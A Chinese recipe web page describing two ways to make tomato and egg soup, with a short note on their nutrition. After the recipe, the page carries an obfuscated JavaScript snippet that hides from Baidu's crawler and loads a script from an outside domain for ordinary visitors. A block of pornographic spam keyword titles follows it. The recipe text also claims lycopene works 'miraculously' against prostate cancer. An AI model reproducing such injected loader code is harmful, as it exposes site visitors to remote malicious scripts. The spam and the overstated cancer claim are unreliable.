當(dāng)前位置:首頁 > 飲食 > 烹飪技巧 > 正文

家常自制西紅柿雞蛋湯的方法

2016-08-27 10:17:23  來源:360常識網(wǎng)   熱度:
導(dǎo)語:將西紅柿洗凈切成塊,雞蛋在碗中打勻。起油鍋,將西紅柿塊倒入用鍋鏟壓碎;翻炒成西紅柿泥狀;加入水,待水沸騰后,先將打好的雞蛋倒入鍋內(nèi)。

家常自制西紅柿雞蛋湯的方法

家常自制西紅柿雞蛋湯的方法

家常自制西紅柿雞蛋湯的方法

做法一是將西紅柿洗凈切塊或片,雞蛋打勻;鍋中加水,生姜切碎一起煮;水開后加西紅柿,再開后,勾芡,轉(zhuǎn)小火把雞蛋倒入,加少許鹽,關(guān)火(關(guān)火前可點(diǎn)入幾滴香油),西紅柿雞蛋湯即成。

做法二是將西紅柿洗凈切成塊,雞蛋在碗中打勻。起油鍋,將西紅柿塊倒入用鍋鏟壓碎;翻炒成西紅柿泥狀;加入水,待水沸騰后,先將打好的雞蛋倒入鍋內(nèi),切記蛋液要細(xì)細(xì)地打螺旋倒入,這時(shí)不要攪動(dòng)湯,待雞蛋成蛋花狀后再緩緩把蛋花攪勻;西紅柿雞蛋湯即成。

第一款做出來是清湯西紅柿,第二款是濃湯西紅柿,這兩款湯,不僅口味有很大區(qū)別,營養(yǎng)上也有所不同。濃湯西紅柿是將西紅柿過油先炒,這樣更利于西紅柿中的脂溶性營養(yǎng)素的溶解和吸收,比如番茄紅素。番茄紅素對防治前列腺疾并前列腺癌有奇效,還有保護(hù)心血管、延緩皮膚衰老、增強(qiáng)免疫力等功效。清湯西紅柿含油脂較少,更適合血脂較高的人群

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
9久热精品免费观看视频| 久久丫精品国产亚洲av不卡| 亚洲网红精品大秀在线观看| 亚洲精品tv久久久久久久久久| 亚洲乱人伦精品图片| 成人区人妻精品一区二区不卡网站 | 99精品无人区乱码在线观看| 久久精品国产亚洲5555| 欧美日韩精品一区二区在线观看 | 国产亚洲精品自在久久| 免费精品国产自产拍观看| 91亚洲精品第一综合不卡播放| 精品无码久久久久久久动漫| 精品国产日韩一区三区| 亚洲国产精品线观看不卡| 韩日美无码精品无码| 中日韩精品视频在线观看| 伊人无码精品久久一区二区| 亚洲2022国产成人精品无码区| 精品国产高清在线拍| 国产成人亚综合91精品首页 | 2018国产精华国产精品| 四虎国产精品永久免费网址| 色噜噜亚洲精品中文字幕| 一区二区精品久久| 国产精品爽黄69天堂a片| 78成人精品电影在线播放| 久久成人精品视频| 在线私拍国产福利精品| 福利姬在线精品观看 | 亚洲电影日韩精品| 午夜精品不卡电影在线观看| 精品久久亚洲中文无码| 久久久久99精品成人片试看| 日本精品卡一卡2卡3卡四卡| 久久99精品国产99久久6| 午夜成人精品福利网站在线观看| 精品性高朝久久久久久久| 久久人午夜亚洲精品无码区| 久久精品久噜噜噜久久| 99久久99久久久99精品齐|